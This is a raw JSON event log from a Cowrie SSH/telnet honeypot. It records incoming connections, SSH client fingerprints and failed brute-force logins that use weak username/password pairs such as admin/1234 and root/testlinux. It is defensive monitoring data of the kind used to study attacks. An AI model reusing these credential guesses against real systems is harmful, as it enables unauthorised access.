e-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:18.902486Z","src_ip":"84.239.42.8","session":"2223adc24812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2023","message":"login attempt [user/user@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:19.024028Z","src_ip":"181.97.227.163","session":"a5d4c6f51ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testlinux","message":"login attempt [root/testlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:19.192035Z","src_ip":"201.6.100.191","session":"d28417710a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:19.407346Z","src_ip":"84.239.42.8","session":"2223adc24812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:20.240639Z","src_ip":"181.97.227.163","session":"a5d4c6f51ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:20.329037Z","src_ip":"201.6.100.191","session":"d28417710a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:20.537619Z","src_ip":"84.239.42.8","session":"2223adc24812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52558,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f5d05de6f5b","protocol":"ssh","message":"New connection: 2.57.122.208:52558 (159.203.135.109:22) [session: 2f5d05de6f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:40.944449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:41.025021Z","src_ip":"2.57.122.208","session":"2f5d05de6f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:41.226095Z","src_ip":"2.57.122.208","session":"2f5d05de6f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:41.926473Z","src_ip":"2.57.122.208","session":"2f5d05de6f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:43.129679Z","src_ip":"2.57.122.208","session":"2f5d05de6f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":41386,"dst_ip":"10.17.0.5","dst_port":22,"session":"da53d5e40493","protocol":"ssh","message":"New connection: 154.81.14.172:41386 (10.17.0.5:22) [session: da53d5e40493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:48:59.916312Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39894,"dst_ip":"10.17.0.5","dst_port":22,"session":"baafa1ed0253","protocol":"ssh","message":"New connection: 103.125.103.201:39894 (10.17.0.5:22) [session: baafa1ed0253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:01.705000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:01.716548Z","src_ip":"103.125.103.201","session":"baafa1ed0253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:01.963777Z","src_ip":"103.125.103.201","session":"baafa1ed0253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssluser","password":"123","message":"login attempt [ssluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:02.981688Z","src_ip":"103.125.103.201","session":"baafa1ed0253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:04.231117Z","src_ip":"103.125.103.201","session":"baafa1ed0253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57654,"dst_ip":"159.203.135.109","dst_port":22,"session":"c82018e487f8","protocol":"ssh","message":"New connection: 103.158.40.65:57654 (159.203.135.109:22) [session: c82018e487f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:08.450135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:08.454956Z","src_ip":"103.158.40.65","session":"c82018e487f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:08.679501Z","src_ip":"103.158.40.65","session":"c82018e487f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8943,"dst_ip":"159.203.135.109","dst_port":22,"session":"52048b3fcd83","protocol":"ssh","message":"New connection: 131.161.219.137:8943 (159.203.135.109:22) [session: 52048b3fcd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:09.163737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:09.167841Z","src_ip":"131.161.219.137","session":"52048b3fcd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:09.295881Z","src_ip":"131.161.219.137","session":"52048b3fcd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer2","password":"developer2","message":"login attempt [developer2/developer2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:09.602992Z","src_ip":"103.158.40.65","session":"c82018e487f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"a","message":"login attempt [developer/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:09.839126Z","src_ip":"131.161.219.137","session":"52048b3fcd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:10.831431Z","src_ip":"103.158.40.65","session":"c82018e487f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:10.970373Z","src_ip":"131.161.219.137","session":"52048b3fcd83","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:15.686187Z","src_ip":"154.81.14.172","session":"da53d5e40493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:15.690206Z","src_ip":"154.81.14.172","session":"da53d5e40493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:15.696981Z","src_ip":"154.81.14.172","session":"da53d5e40493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.67","src_port":38812,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0613ebf6570","protocol":"ssh","message":"New connection: 85.217.149.67:38812 (159.203.135.109:22) [session: e0613ebf6570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:17.181526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:17.186531Z","src_ip":"85.217.149.67","session":"e0613ebf6570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:17.203845Z","src_ip":"85.217.149.67","session":"e0613ebf6570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:17.225420Z","src_ip":"85.217.149.67","session":"e0613ebf6570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"0751436db87a","protocol":"ssh","message":"New connection: 181.97.227.163:56794 (10.17.0.5:22) [session: 0751436db87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:23.973994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:23.978878Z","src_ip":"181.97.227.163","session":"0751436db87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:24.178061Z","src_ip":"181.97.227.163","session":"0751436db87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.235.28.70","src_port":52647,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca0f177bea9","protocol":"telnet","message":"New connection: 45.235.28.70:52647 (10.17.0.5:23) [session: 7ca0f177bea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:24.737709Z"}
{"eventid":"cowrie.login.failed","username":"lampuser","password":"123456","message":"login attempt [lampuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:25.009233Z","src_ip":"181.97.227.163","session":"0751436db87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:26.212814Z","src_ip":"181.97.227.163","session":"0751436db87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"28ff139ae36d","protocol":"ssh","message":"New connection: 201.6.100.191:58474 (159.203.135.109:22) [session: 28ff139ae36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:33.299120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:49:33.303550Z","src_ip":"201.6.100.191","session":"28ff139ae36d","protocol":"ssh"}
